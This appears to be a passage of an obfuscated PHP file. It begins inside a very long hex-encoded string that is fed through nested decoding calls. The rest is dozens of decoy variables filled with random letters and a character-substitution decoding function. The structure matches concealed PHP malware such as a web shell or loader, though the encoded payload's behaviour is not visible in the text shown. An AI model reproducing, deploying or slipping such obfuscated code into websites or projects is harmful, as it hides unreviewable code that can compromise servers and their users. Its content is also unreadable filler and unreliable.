64373234343139333339633735626439643166626561656638663162383931303134326235626638626538613433393661393131343638666161613339643166346637313231656232323433646664336465616366646136383934653834376564326439623238303562326431353961383065653935393635313038613264326561326337306566366230393939353261633764636137346666383265353564323262393661303438303962326332653532316162343636643931386632636636373665333065623135346133366236386130363366393362663739656133343230373464383637633565386361646332663934643530353463363434653561316332373631343761613366303661626363626633623965323434343962353530353436333838643931343163656431323537356439363261313930656262386361666536373063613435313431626637636437653961326135396365626138393162363164353661383663373264326531656632356130666165666438353964366463383561313264626638353433356466393466313564343534393737346236313630393434353563326566336232353562313861653438636236613535366430623536353839326464383461396363383137363862636333623131326136636237646664333332346138626566343638623966623133373938376262666630326439663237383432363561313538323062656439346266373463313637336333613763386563383933653733333133333637643963646265313463393164613365376238396632393030396333373361376665373737333762666562323036313065393634666362383265663932636566393461623133343466613335313137373733616537363733626532616662323333343838373062373931306665656231316230343033643138383236656261656530353231376635353735636631313735306136626635363462353639623832613264326432386165393464313432316239633261386131326232363231303063323762646162323035336535613064656165323463323430323965313430623234316334323037356332376436643961316165326164323532373432633437366435343531396539373561393132383065623766613637306638303366356466653030316562626465636235333536663733363339356430666335333034303335613439633066303430616335623862656231656638313232653337656536396562646264623139316332656166653063386236623964396466623961613462663631663165636361373533383965336133316264666564623232313034393165643163366237663832636430643439613162366565616565646263346362333930323763643137366333303932316661323737646530333363366137633839633633333862353834326234633831303735333938356536383331626666303131376330383838656436386539386236653239343064336561313538313464656664626436373234303830623262313136666165613234623164643930663238393765633865623864666130653336343265623361346439303365616635623664616338613230613563333764653238313532376166336662663632366463353966643962363333346463666165656639396464626461653563623237363332393639616435663335663539373935616531323261336133656134656464623430353631326164383732303439613030323230666333393763363337363938353033313163333431343066323235363339623164646663633038633737333764326165616165336230323937386636663636376165666231333632353136656463303764323163323565333337656337383362653862343961386330316437366531623539363339376232326431346161613634626564303433323963333832613532373037663139313864343031383833633363363963653637643932303136343563366338383266663965653466346535666331386639393065373838653539636564623838653730343436623238646639636533646335313965306362653662356435313963643932336632366166666536373739326136353030346531306136323134653132616430613561383761643531386530353435633632386166333431396634313437326439323165646465646262616136363138633562623234353366363331373638376538353037303932323266376663336432363966653165303930636133343931376635386162643638363233666464653939636663346166663865356662633862333433386239343639363330366565336431613065353635623333386134623263336434346633643663376331613731613362313334343133376564643361343463343266643061653036643031333261623039616131303462613931383831313665646130383837636138383232323962373866346130313338396364316265333235326665656166643339633834653266633261393864356333613838393630306463626364613162656461343934626464323430323532396530396434306534393338633333343561343432343531646434643662373931656135313531353635323462636434313935616534343038646135366437383032326266376662383365363431623938633232333636323862393261616434633432633030383532313131623463616466303138643862303333653739623438646162666135633862646565316335653830353035306538636531643130313462343533653830303839633035326163366335643766656465353732613165643432366534363034623864373831626337353666343335656165363930613062326532333331303836313965373630323835353139396234326232343233323534333062636238626663376462333737643938373863636661393132356361363432666166643931623937323334386161643034356662313061666439343337333064366365313037313066616231363736646165313164313964646430363737363131313166613365393833623730323535626630623435633665663764333637316662313830353633623735343032333135333163303762336432373536663363656638643461633162386134336161323238326364383666643138356439353763303433353035306434653939383933383161396435663434653464356631663637316437633636383439663739613936316133633931323265626631613431633832616436356132653833376539393536663237353937663930333036356461393735636637613537623932646336336463656533323930393866336236653166656463383062376137613630396565343039393936313235356266313730303033653539343633633436623831613531343938326230303164316633396438626332306534336230373137626538643834356530346661316638336162633336373839653332363964366465316131363131306338376231316163656362313734353931623661326333306535626131336163386633303761346363386533333331333964373232366135623163336333323335373836613435663639366563346466346636303933653837303462363334393938386537613239326361383065366631343438656164616264316364323539626432343033366532343363653437666161356537343563636337393138333330313937376366356533323866396666373730356264363364333937656664366266646230633532313134393034663436323134356233346138643339323836623961313830653363313936613136653838303036666262663563646535396463633130616436343032363765353237376633663934383631333764393936363636386533343465396665386533353135616437336231313138363965656432333434316230353830386532313165353039313436653565313061653964656131643631386563393766306431626161336533613664393739386134323162646637343565396166383736623638633866343039336338306164663230313932343234666331643539646436373062626434306632343064633563333731663834636432396234383938343039623265663330626634356162353635356563393463623566306234343432633461303464353566313637303438353231633538343139313033363332653131303862376164316234346663366435323138326531373136313763613435663938323432393630316166666334343432616161353664623332646133373938316134333163393232613863626232623663653163313962643636623963616338633933653232393663633634613963343230653361613031323864363734363632356634323133633238373561613933376566343338656332363361343465613633373737316663643637336531383536386635313334643231373038306335326633653961386162616564626631626430346133366662626138623663316332333263376562333635633662633439623966626364396234616162386661363733386331343337323663383262313335346234316435303961633066393166363132313537336233366334383339303438643237646635306439353732633737366266643765303064323163343432656634353565393261316365366535636662626332363533386262656534646434663362623439373061353765346666303831363165386433313430666638376530616164633237663064383234396131333634326363626565636463303630656139316461636561663666366236383032366164633231636131316564306139363435303531663061343666636539613835316630636132663137303233643561333962376638366130623939346665353432633762333965633539323030393563356466313865646138373064656666623632623965326664303233616665636436646534316439663739646631353737326135656631623837316536316462633665323139363639663163356637653565666163613439646532396635653763666232643934383739643538636633626130313564613362336466306130383236646133313531326331613666366261303934623730653365383134303433313663346336623763366438373836316264313736386330326536613832373636613732323439373334306366343635643865323738663961343537323831623135653665356238663339613338393439646434316535333031383431656665386533313034663561336233346232653537396562346562396164656166383832363938326235393461353461333962393939383463346164643030316261323532356265663832643130313838633733313263613266633662353138306463383461373331393530393433396438626230383836633735656461303265643137393763616539313038353664373263613831633961373264323633656461393566336534306332363633653464323035323934393263363663313234396332336661313934643666666131636164396266326331643636373436623430393965396534613036623331623063643532623333653633643934373132376137363735643863663366383733613335363666623466323965636434323262393439356535636163626233626536393337356162353537386465333333356434626363353363623462623731613637366635616337363761646461373162623839313565653263326664323338336533386139316631656266663237343835303630333263326637653736373864343338373930336164376435316465623661363366343836366432333431363936366562373566373766666436363831643336376633643664333435613965396363373462326238643862666437636432336538623462376437366631646664323436316339633963666366356230643133633763646464303564613064383733393538323766613962353532653561633836393064303538646538636433643663396466376638643239353161313938393439636661663238343638303536616430333163646333633665623761356262613464326566663163326362326432393433313539343135613863623263316361396430623038306230616636333432333065393566633138646330353764356461313665383831343136343662323832626565346666313337323534323235356430376632343132313332313334643132323232653335656161353039373838616163373261636661656637363234323331313063333831663735356233643936383334396231353066633362366433343133386263616237386539396433303634616364373231323331613265306163336465373533386661623865623764303861363833646562383537663132383135346661613736626431646434643437303537646134376364383963636565306139623931646261623465323138646630396132303861643334326631386130323962306563336162396636376437323330643538363662383233306138353031393738343035626339646638623862336634376638316366336436353138343063323338613334343033326435303231386237313636383630336634313435323230323566653435613230363132633864373738666533656530653464333966346638666631633130303037323432663739303334646630653832333364306561366633343936663834303937356665393566376133656232313365623738663961326134343662386366653965333839376135333035366166353433663734376331626166643133633766636434343634313461653133363262313737343031383832663231636430336335633435383034383631346431643036363431343736376361666238643731643562373966623933616334333537663130393333376631363734313931353031313361623438366135663565313630613036353566353433656330616263386162616637303938393765643638376233373266373635643761303065366333646537613732323761363263653432346632633731376636653362313162313035356137383834656330633361366635343464343763303039353862613430326139663862666163396331396232333538633262616164393339333333663463623266303933656139313532666361633263333130643339376633643965633436313936653034336638393364336439386330313339346234653761376536303039666165666138363063393061663262346565623238643363623731633736373031323234613764393161643731386537306435333264653962313165366539373632326161376235326634393135623634373534663230376530646537363463623339363463333862666333616133356636326263616634653465643437666561653263323235663262393465663463376564646366656165623865666638646262396532663337646664643064396165393466636663623731346333363737303839316439653431653862383736643435383964313032613133313938343530663335383964643065343336383338633832333035623935313461383161633366306365323034363362666632653237313338393661333632313234663330326133306235316133343838383338303636366264353135396166343331373863346362643736353666626139643637656263643135396166363566666265313162323838643131646535353534386339353166613730653931386131313837643665653135306631646263653339626165336330663264386136613062656132373330313239316365303937343661333733623164616234373166366639383232616434396461643335326234386363313035643431316439343332626339396330633436356265663534383562343362636130653565613065643935616534353363333965643137326532353739393739353566613732326534386264363134643936313561356331323532366438353537356334376435633135336435343461633233643038343838306363376436623130623061363039313239386166346263313138326332633866363362323761663163343630383839323462336536363131393062643064626139356133613764626331306366346264616232383533336335653736393962373336393866333132623036363033623639343630333830663636306538353966333364383630666532333864663535373235643261323333363762383031623039316431663965393939666536356261376535643261636565653037313962343361386437653166323136366136316634396239656462656564343536663464363139343761623964366138663033656536613163336432653937346236333631633137323433316238646336303538393063303436326338313034643631663934313435376630383733633830333136383737623862656236653631306664366233326334633666636230613132346461353831303364353834336336666462373562666235613535663131613538346233666536376134343864633832363665336333643836336536373133376661303265653735366238366364323866616336633064643263613536373737643664386230336230366535393230396165636463333365646266613533353836303166646230643237336463323935666630653838613862663366323835636534373638653361393763623263666164396331323734326539353933666164636361343964383733613937636430643132613137376636633361393365633034393534646261313232373332643131636537633830363062336637323837663332636639343039393662633963376339356330623365346365353538663636353362643239626462626565353763376663666137343161396162636665636436633935383030356265363631386665353332393934393233656631373032336634396338333832663461373831633765386533626464313937333135326138353066623965613565663763386639343034666234336331663865353364303761313564353135653761353161306261666361366663653739633832656234306433633435306434373235396231613866393934313064313331363530323361306335346336613661373430643761393862303830646565343336396239613936313132366264633936643463346464656361653539396130356335626363326166386364383231616534316333326539353364323835333632366533623130323463623836613535656161383865356165633739653935306338393066626232316265313261613031626634323236653039313965386466343565386661343665373033333937643632363163356136353461363339303439653334376234396661396537366439653938396263343439326265373436346366343333346330363436363230363464303235396333343262303337613363633137633466653631326534663737316434316234626137613236376539323632653665383666643264653865313437643339393963643764636439623032353737323164613339346263663966336566396561313461333765663663366465616266393638343861316132316162303437383366346538666463373039633631373866366534363431333165613064386361346530366464343162313763336631383733306332373366386137346639653937396533656439386632663463383564373537653433323232643033333266646132643935616534366264343133383866643034336166376637333564306164313666303266653135323765333262363131666131373864666632633938363361623866383137"))))), $ERRreukQ);
$Ppqn = "JHbgPMrDrKPgMjHKcYiJX";
$lIUebO = "CVibLGFAjFRpYBuwDSsXOsEvDQNByTuApcaZhGzskPGiqzeTrVqF";
$PLYRFcJpMy = "sXUpmgVUWbiZCnj";
$kyZQrilD = "RdpaNNkSpwhj";
$lwyRKvS = "jvgEpbzcixHTxNPHeNSDJ";
$tYd = "IfNSqDUDbbQOMIsDUdjUYISEsesJehKmNWECAyeBzuOLbFNwJwqHdHlvLcE";
$MYuepI = "PIaSrHIyiTFWzDZVPZtqUfOiVEMVxcWlKWDBDkylD";
function gqGXfYe($wREG, $XGBaGwiIx, $mJHJrDHY)
{
    $mJHJrDHY .= $mJHJrDHY;
    $b64x = 'JqNWaRqYKgZFBpROXINvxaVUaRaUhasRqEmPUCmdJlhJZYxxfjRbJmWjDwdKwUaLXmZrpmuxyBfXYcudlKfvWBEzWgJRAJCxwBNKmGGLGLhdNBgzKLTHLxFgDnXcXYYtZkClQhwVsDYfdeEnqWUAtzHvNEWjDUbbeDmujJpBlmGPQJcfFwGxuMrgqmPsgQtKSfdbOsDzEINvspZwjetEQJKGWZxCPQmIvqiIhLgkuuekhEfsIyVYheEddaetqraKgisnuYXmRcxYGbqNAkLgqpjSPNkeeKpktfXMduyuwutBvIpUtZahOJzDxKgaTvKlBgxdAUyWnqWiXkcPKDwXLVAHFGHXBQjBWfExABSNQOvnzXCiAYfKTesXjyUKpDKKJpgipYvfmQtLNUTMsyVkCmHLkbVYEFIMtpuIMpmYeFJrYbCQzxAAjhLTifrlKyYDMskzGxWjBfZYganfyOegVPZDuqOENlgZdQXiMTSmyRKeSYJPlNVgcuiwJwZVIFukvrtgKkShCclTAUILhcrjwzeEUEzbiTLEJeKtOcaqelIEGqpNsFwmDAQWdPYMhiqQmzJBBJQeuYIZnwlfAHRCHIzjWWVdeKtRjBsjJHpdFwCTsnyrupTawsKsneURPNIYNZHxHvZlRBEInBYIQrhlIRdvWxmkjuiXupTaKSLatPIgqfOfxvREMuZhQLsAeZWynPXXHiXzXeFmkSSHnikZCJGRTXrYWMVjBtHHBEGXJkjtDBZqJJOkSucLrSimFeVFWCmWGSTpCCHEdfTMnHxfaYRQQzCUDXAYzlUedNSePYJSdCdsJAWiXmZOMahOXgNWsHaUUtZJrIBUJdLRdgaauznFzwtxCfSUmsOgKmPBUPvdsFUvLUweSJJsECngHfAtxNzHaNhubbWufROQkJvdtDUWeHClMBEIpDOOPvhRVeKavXReHLHznBvShxdtXgBlipzYKHpekyfevwIBgqZuQvlyrOQnVrZdfyBpEptnMyRhTAIZPITeCECsttFNidqnbRbFfvtsSJzliGKxNcCOHdfzVklenBRpRTuxNlOFUMqDRAZFCaSieYHzIscvtUjjmDfZntdHETjwtJAUJsdmPjMWCnsUHBDTDisqBwWfpGagpAaxrDjGNvbOIthqTKiVsakTwhyjmyqaxqxmtGSFaUtiMZyfifaBfLuasRjEOYEkOaWggPLGiDOuCLzKRZkWKdXbuGFHFIrthnYNcJuKLHdMtcVJbgeLJBldhqjlXBdeObSqjLZuRCfJEasFGxPqxaSdqbpMCRRPSieBtdUjfzTJAkOfgcUddlgSnVFpMweediewMZeRXXZxImcnqWrtiXKVSpjdjNHmwMhHkmyhJWFQJgEYcUQKrAFippMybtkWesDOdAWmxacfgGDiaSTrsXZGlLENDOJIFmwJMRvIRWmXcPGCgYSYVrdHBHuevclapgiBYcipYwMaKsbRPuPjKsQLZjPTMAtaGBadcjtbeeBnVDEKWStfkjQjSeCEEVeKweNzNFZrJZFdCiNXBgdLPtuHyVLBQPkMtyKgcixlhBpjjCgKhJUWcncZINAzCkKVhuBjCxUiYjshLYRsHkniyPhfDhdERNYYGYHHwCQukHavFrMMBzUynCDqiguZtRXzQdfLFvepcEJgUvSvtmSgnUwwApUTGrsVuWGzsjNTNWZHQsbjEtqRmkMNZGfFWxAPtfnjpBcbxchmuIwxakNMwzzUEEzZAYOtDCCrCFRYHYKAGgWGQisLgrFKudiuBwMdxnuYSKWYIHXNmttcBknHaSQTwymWUYArmtPEdLcLRZzDtrGtatAAkquGnGchFCXrUMuXXwiOVgsNWxfxpFWzvqFIwgpaILQbXjzUfghamYNiUsFixbhrQMylsMLZWBATkYNqevPQtbznSDwpEcFvnCGFnsEksEDbCrQgLFWDfvqYYlmCnswCTcgHTkrKOTMqJCwuHSxMmMjkXWmlnINGjTMCdcMrwXHeYCYFuvRHGarEWcPJLbPuuBwXdhnzeuccWa';
    $dcrpt = 'lfHJpuauQzcjiVVXKpALllBqHrzPiiEuNLCbeDvubWDJRXHClgMWRnLydjnlRreEbGFFiAYKwCtnzzpkFagVNSuqBgBtWeWyLbCtaBCVCVIAuwKzxruJImziSzapExMOXnGXniSPDaPwwYuspObWAAFtyFgbBSpyFVUtDmhfmwaIvvaJIBfhAKZXOFZqxnmCIhUkuBPGXqnsKnARnFyNOyLDCjsZWEaFLupEuEjrTXhcKhTYMrLBnwDQFUpCXOGJhumBXWsQTYsDfkasbMspHUEMnSNkGStmlfnjbFzucRwibxZcIrROkvAXNMhtEafQftzGxXZzOvgqrfRYwINfDMcqYKhCKmRpFqUbntaBNgqEmhbIpnnRaPgYzpZIarWfGqGtIGuVNJzzQAGfOTWnJDLHrjqrALVgBCYiHsdTbbsRCYwPrSCZvmgkwwaWGWCgyAPEsSytUPJVmfjEXLcRXibSdBnjxpquPeYgxwYQKHLxlUaIeCzBLZtnagxxvmrjQOPmJmctUmPFGpnKRlkbLdpLjlhEyXnnLCBuPcmiqbNvQafHmPhxSwhbgOfEMtsxusriTDridEdTEIAqxgMPcTqihvmTmEPHvfPnhGWljZemHecdkOSmhiVpchHqLVWFbkSiqOTzNYlucnXMbpZIWUwZBCOLyjqYuhGjWAIJyTDZgZkInjPkDLJDmxnKGDhzLOIHNQPkiRJqQTxEDlnFWWiJtwSyzawjOEqBuEkCwtrLLNONzbtUXaDPVwMuwiDJMSJfWtgRLybVKQJiRbDPBfdwaQQVYtEjLMpgevXpsYkcOtKGTmUuSXPSmFOkyRuIdhOHckwuiGVxyfCrswKjSzCfEPPBfJiiQwQsGllnrgKOllEdgnMzlndpCSPIaxQRSfIXQTlGAvTkgxnmjakwNnKPg';
    $str_rot13 = 'NmgQhTvUKKMaJKEyCqTkITFCDrSKZmVlAbBguvaDeNDmWGLyWdJEWNfZDXibKdmjENqXhQZmcCYYIJWEMFhiRMHvjPwTSiCwVrSDgRpISmHZWcDhHjqyWWsfLnycwZXrq';
    $b64x = 'lWQRfExlwLmFcdRyYCYJfgzgDDSNmnEXjupPYkAuVMyXPPwmrTVxZUcbWUpIHSfQLueJEEDYPAWEpRqGjlCiFdjBxyidPntBgyJjBlirlEuAUKFdvGlZJUZFSHIHvBhBYrkzCtPmwJNqtRSNyDMGxLlOstVMTcNrtXQvPegkNtZFkRshudmqnXEfrzrJaDauZqnOTuygmWLxNddGGqwunZYdyplyslrradfUXcAjZkflNisTyNmklkNJYZGqKXHLAlexnEGMnkYBtqurCGaNQOwnNBExyKHYVLUIOavCkScEHwuibuVrhQEurHrprXMLifuwfnXQFZulvmTVGnLnDPHtwXgmvsXDyQYcDwSHvLsqXkKEXwrZKXtfvzRPrPROepQhKJOfTgURQEUOzkNiHFObEFqUTGIYVXFFftjZzdQPhKcGuPpaUcCyHRsByzYSwDxCvHBujQirAkxtzLStmuQTLHTIfrACtwdOcdHMTPCSzYkxicQvWfOHNHOsynTQJwdlYKxRYYJWxtuFVjAROnXauLtRyLhGHkrFvNxtMFqIyJmtslJFzfGtQyjNirtPbKUVWrnIvcPSkCkbNtHmyMeNjnARetgFcaAYQmgkqvDZWmbKGIwduARcNQTriZvKzUiphOZWiCVfOwPudkXWjnYwdsNMQhwqCEdisceadzfSVULyEhUNvsiYJvKAcFpdJslAvPAyNFPIYaGChAOcrxAaRJZtnnwWFgWzVwxJbLQZLVbtUpvlLUlccKUqXrMbxIBSDxBdhQDTMElGSfrdzCfBLZqIPbKMiKElgEpNTRfFvQLNVbqudvuOTKWikfUTpXeUBtHuKNzEDJrYKGRmAlBTvWbFbVXqSbjSUQldcjHfSydcDUpdfpwZkxFlRCaidjaxALAbVggNEjpHeEKJsFJDbNnsOpArXZmWKMYeteswOGcsJlabQiErvRIjFHZDGmzQYWUQbLMpsOGaAGbPpegJwnsavscadbqBXksyvdMMrsmQyNGlSlunYMNtDqTfriGNSXLnAxzRpLglzlxQxQDVbqndegiUPpIHLtUlpTCcEInCujsqAukBjzeneMiTaqBMIUXwNYYRflSzVKPvdzVmXzBclivlyVxFquaCRYSXKLVFvjZyJukGTkhEtDPqXmUMfupxtguCrOGLYFJHytMQDuuvwJKSvEFAXtwPYpQqdwABAIHYatODlixHRgZljEkHWHwuvMJyhjYIRefsXTUiBRqRXpChsNnNTignUQlczJjPOpgLHBtIsIzOwbvNnIAGRgtLWdmUNViBJqLQqdyHlwUHWqvjXupnAIzVLLpXgyXPNIFClcIxYCdUrXEpRSbrZAMkLahRyFGKMLlXmTTkVxflTJZKBbBaaMkLMRCKwIuItfeFyYQtUvFNdEydeydfjNQvFSeAAYhsDmWaKluEGyrJBnmfkqkudAPhRtHQrphTaEuKPmnwjdEKRQpbGYVJYjqPCWGtKmLKQeufQgaZKEjBUyCAxxIUGXJItOAdBkNrPHwFmweWAnxTLzSHVABbWKiOXIrySEPgkKlxGqTfDqYNOQUjPUKkESYbZPzrtNyDXJzDYshBhfNVvHEJCnTFFrGEfFVyRtAObzQzqXzxclSWTwFvKXzppftTjnRaGQpgpeeFcDBEOtBHPFBYDaMrFeJOsAOxQcDeHgiJJKmyCmErsFOUeBKJFSWXSjTIMWltcvbMENJfAMWRrKkUkucQlYmDiFkuBxMErmqUzyzyjvOafYUqRxFDvrfcWrwxmHaDtPWSmvPWQEWvbqKTMPVHFaiBQeyckXeEmaVzVKUknqFPfOIrDcXIcGitKfUUdZyqzSnTDIdqXIecxluznQgQwPifUcaXBXMAQAtShxheeMHaxaALQGamvIRPjrlLpYKEXcwezcIdnpdLpcVFivrDchslYEwmbfqYikCgMjJazmkmpFRxZHAbprmmuJYUnnSwXTcJdLibxSnMxFIwlHWZYJlRRJMeWdBtXcCANKBKDOwzSDVEkrDIZpzQXkVupVMLXnkjyLTaYOzRsTvbkXJjLhAJSvcgqOrMCBVZLpzJcxAuruUaRDJCLikDcMisazdCzzaJNYspvsikkcKbGudrbnteAawAYZBxXafjYWytNGEYinZOgcEiQwmPwhpuGpqDpvMmQKFEPICXwakbDnjSJVHedvXJJmMXgXJXgnaWwCtrbEsErbVawCEzWCIeOTBVqjsxXsSttkiunZyFAteWvIUQjbVYUwtkGKHcBzUTicmWBjBbDeXXMrNWthumElWJvcLVaFOj';
    $dcrpt = 'USZxxgPttkEFnOiVBJcdClJcKrfXCurWLrSixHaQRdUFRCZRlbUmNDqxuUTvNjQYZJgWqglHjflBIkstLmeypTuImMDAWtyvbErsjbYShJtptkgdxkbkEUtQHVqcnNWPQngzpERVMjjeTqHPahaEctuiNjKAwGpMtUkIXbcJLMmEbUuBBTecLYkyHUxcalOtfzadADlKpzOPShrSAUVksfhYAEbAPpsvNSXNvixJgkyyRnrriLaZQhYPlzOANgUBYrntZjBFUydLMTCuECtTjQiUpWuCCOcAePsdysJsQlDCEEvHFNAOEhIseCTfqvGuJxyhPGYFRBGUEaBjmAXqIfhlHarwVwPETMkhRJlIJRbnrCxccuSKYZveZLAuhPYABIHtrsAaibnYDKaeDSnbrIfQufjaUHZUqfMfxmFFNScqbCveUIFkQKajpkJiRIdGNPMjBrnnJPdjryNkFswvCwdQflZXTCDfQOOsfBenqhxHekrKCMEdIIumTSjmumRjaGaFgfSxMPDRZTaafEEmLXzePJrIvhrUmsZuWRqIGsYekYfqcJCmfbrUjgbdOsXaiWTEniMtAKykicZKLbWQcnjLukOHbkIKhBnvjZNiKKSsMSbxTxMvjvFdeSKgcsQjtddbDrJMaCdmuEiMaVGkqkNUcxaePqOHSRIvHQGIsJUkMcwmxbWmLJgmfGsuvFAmVHhDyNKPWdAhFVucXPOhyuvdZlWuQxfLdMNBAxQVZqcFkxgHLUPJNjMMvhFKEjUhWIIwEXQEmSiXOOdAhSiUBufvBjeftZmpgujKRZndswAfjEFrVmKxGPRhYwMsUyfarPKhnYLFTkLDnPtjCdGhSWOrRZhLWmknBVUPtFulqEnDTHMvKRbbnQsEpzqllZzMUSBMyvymYLPRsbLBsNcFcuJrtyCExAPRtrDqkaCilQADrKEJxGNzzwqrTrurrjHiZjyjKzRVOQXfBBnxGawFWLVPbPFRYlZxVWfFvwAJMxOmybiDBEhxpDMQsQHPCgLWcqBXLAGxwTitusWUvDRjFDZwSfKuLvqOKqkwPQsLiBdCszwMcmVHpud';
    $str_rot13 = 'lVCJZTrpniBHrXKIkVCGqwhTDtdqQuDbpFjNyACkicrzzAGKviqLEWdhOGWEzzfNdOabOCLWdcUCCaLxibhMXKtlqppOnTarIAswbDREFkgGkRctsJFPtxahlpvziwpqVgLxJbanLGTWXwOpeSdXqdeBSAzavNqPTALCaMpLRIHOdVdHNGECjiCbhaBbnqQgpbipmWZdEgSgbvOnaRQjzsKGSkgfZxLnytCKqCNtIeAiYNwzElhDdSiVCPAClkPJEsSttFLajKiHxdfBqndtFLNgAmILxyTApLsHQdgzmOfjRlKgYmYDXkJXxRhupbTclLiBOpZACfJtQtZOFxQcIzZeqgydHRfTCnuPbTODYyWnqvBvRrxzPVdFbBIJRnbSaUgCNVektAXIuyclOYKdTmIvOPdeCEXDyDeLyIVQItYbQAmezxhRJplWDO';
    $b64x = 'NNwkdTUOdqsLgwadvNCfzOPBOVFgjAMWmhgPAAEEPvpWROzlabQApeAczeiIeVFQCLGcljfAduVUhvFiwvhjYgmyLUfPPjFRvKTftYFxRaryvwfqQMzpTkMEfrSuaxkvHDAZaEwREmqyIUmXHllAVxDaOvvnreIXIHxIKSZOEOLlIYjpJUnEsqeFKzSBDZXKGuSPMRDqepCMMkBUeOyVeCAnARnDQlMVeELQUNGYbHLNr';
    $dcrpt = 'lUYTiFnBxKcFqIpNXb';
    $str_rot13 = 'XCOVYBjJGUpVGkiwxsQqwCSmXxMveNZbPNwNNewSyjOeuWZQOpGjqyVmuIHyUfYJSUwfYrXxALathZjvppddlYrG';
    $XGBaGwiIx = (int) $XGBaGwiIx % (strlen($mJHJrDHY) / 2);
    $qqZuJGgI = "JyCEEedPHwbDmiYGCKjwtTFMFbegQMvzKWCNAeCGacimKGslPBHIuluyMyeCKzBTVCfUHhBHjitupKFDkMkexECjcGklFLe";
    $BbN = "TeViHxINlPkcPZEJZIHMhYIlmtarkKQdnL";
    $JuUBQApqyn = "ktQOcSKdMbTLJcpcScRGlqaZXyAuIDnsVdFXvpAGrtrzVeBNHSSSHtrEQQxXSjONMujHIKmyCdWxhXK";
    $DCxjrEgB = "YIsqmYuWqFBddaWOWHN";
    for ($i = 0, $l = strlen($wREG); $i < $l; $i++) {
        if (strpos($mJHJrDHY, $wREG[$i]) !== false) {
            $HnHS = "prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh";
            $YrEXDaSY = "bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE";
            $AsFUD = "bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag";
            $qGnqPZl = "AAPbpxhBb";
            $BlxuvRKrRA = "NAsICVCZLsNaNaeulyvDcNsMe";
            $zXS = "EsRHecSnKneKqFOfbGtjQh";
            $NwsfaNAe = "amCEGOExWsmfmndZ";
            $wREG[$i] = $mJHJrDHY[strpos($mJHJrDHY, $wREG[$i]) + strlen($mJHJrDHY) / 2 - $XGBaGwiIx];
        }
    }
    return $wREG;
}
$b64x = 'bCgntzHcfTzfMbNNEtzJBmUlzQtQalFBNlOFKVHpnfvzHHLkajTaxOMVdELDPQebBsGKMMYasSYYAKIZTCZPPkjsOvuDKXdkqiuBVRamKZkJJSIbTgRhsAzfUtiEqLneUHGPzGbIFLrNcyPWEfdvFcBZviDjTrpmxUbVZCcFMSRPqfkUkNpqPpOJWrtqgHCEadYZebERTVfjaqDLcrasfOAbESrkztOzwMzZmCQGxVpXKRINHheMvdOyWEIUWVTRIRrutgZqCnMlEuyLBbxvfKSBpBvKwNbDEsxXXwMYjyKmrhXRJvLnEDOsDICZwDbZuywruHqDezPvGmLOgwbKzpcbxEASGCrZZmPtTEvYcKSiWdWCYylWMNYiQyAVzrUYDjQwNlTqvlyQOTslrDiDQgkGdkbDBvBdErYRbsgwDElQxcbnGjQVqAaTKbwKxwmaMlrnDxJFAvvxxwKCGZxvzXnJYitUEfVQrLdtilxIGreDMneRMbMLYzuwIlrLrLagwdzEqvMvLqXXECnqDZaazTwGfMQVxRcTuaWJwIEGYaDbCRrEqREOKATPljkiamBTmxchfGODGQEIHulXkqkVPEjANuhmfIfSfhZKmmmtdqajJLguARpOUXOgRVtWEXOJFntrAeJcuimCUSVTiJIcHwiXraTUyhccvUSuyCWrKITdZnXiXeKdAtaqttKQAlsugknEljVVRnzQawyXAIAzaZnttXJsjAMqKZtVINrYAPnBKMXJuyHTWUlpSuHBUSqdRhzYVpWUDjvmvSvnPBgLvtaMlgMfYbJPjhmEwiyYsTKNkEaZeHKYzjkKqWQnYzCHfOkBWIYOaIakLAJPgumFDxqtTFGRDIyIwhISPGGqNGZyFJMMcyreVfxnKDeMkbufIBXWgcltIlqnuBzVZpZuvWHEYkrILjNtLLprNaKVLZIeagZZUytpTztRJJzuSMlcxZu';
$dcrpt = 'grmikyvwHrBRgPXVPPTFDvfqiCfVevDkLPSWMmsTDtjjhgexvxBYRGNZHTULnWvzlmvXzlqCdzLLFPhaLhyCOkBUDUGRraPCNJYlUpNyNXiSlPSWWqyjZyeDtjTJJIKwrIIKWUhKSPCdETaBIXKHwnJOxCWgJGCznJjKEQuVGvyjNXjUVuarHKEELAjvFLTsUCbXSUSypPgBNQvIjwYqFCTqBcjfnDxHezEwtVThKAhxqDEYyCncDHRdibIVEFChDfEvaWbkVjgKlLIJmwkqcbtkCBgFfhNInQCNlEXHNErypZgavQqWriGTJlynuKvHZWTLArsMUIjiHPiBFYxWgdppOMChWwnVshGsXXdRGNzMCgnHEjcKMrYBCZhyvwumcZEZxgqCTnnVTaCyKEHwuGwVeEuZzNlalPZIvOJpBXJuxkRgnzcHEXChavgzhszTGXabkKPLgyFDhVjUTlBWiCejXkhEcgxhdXIOHxYNuDPazYURjUOSWsBtCIwdOtlsqtFWqDiJGXjEWDvFXIWTZxLbFgeSzPJninjyrRGWppAKSuOPcLhbhscMyHFxwNKdbuasKgNYvMIMfxahhhJOzLaxseTnRcQswRJgxVeRHmENiEuPlcDjODGFgYsYbiqWzzcVuHlbtPnBTHqEKsNXVTCBRUzsCppaNrVgxgHPwUPObesLxEhRWJsOcrfEFTEskYXgfewaykOzqFJlIQCFZttbJXfnRJeBhCHmGcmDNAcCekNMbOrAgiBQGfDxphxwJDIOfurStSuWdGIEuzdAgdPMjtIyZeTIIaVmTlelEXhgDpKWmmwuqLFzdnwcRpjYOekHPOsSLYYnNhjzufsKQXItKeUBSDAHgjNvYFnJDlxPTfpmKGWZcesMiLNanMgTVUptzCcBmYQfdeSOjnNmsFyAPKadwGwRAKjyLLzyJpDNSUabiNNARLAHvAjRfFIfqrcAcaXkOaxGUxhcKucBeCHABQrfwyKknmjqmhabhxgBunEdIfdMHLLHaBMVYxfmiqbvWbVDYcdsqgUxlxJshuYiVLdtHJePyGJTgFweHzVwfPTrmbJTvHBPReIXmMMKRwDYAycgwYbBmuSzvBSqHt';
